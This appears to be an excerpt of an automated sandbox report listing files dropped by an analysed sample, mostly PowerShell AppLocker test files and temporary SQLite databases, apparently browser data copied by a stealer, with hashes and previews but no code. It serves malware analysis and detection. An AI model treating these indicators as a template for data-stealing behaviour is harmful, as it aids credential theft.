C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5tpih14z.yk0.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c0vwjbqx.fll.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dghh0soi.uwv.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kaxql43h.pew.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lhksdfem.gmf.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lzagapvg.woe.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ohrjecxe.gd0.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pfytb5jv.0jq.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp265.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp285.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp28F4.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2905.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2916.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2926.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2937.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2957.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp296.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2A7.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2B7.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2B8.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3B4E.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3B5E.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3B5F.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3B70.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3B81.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3B91.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3BA2.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3BB2.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3BC3.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
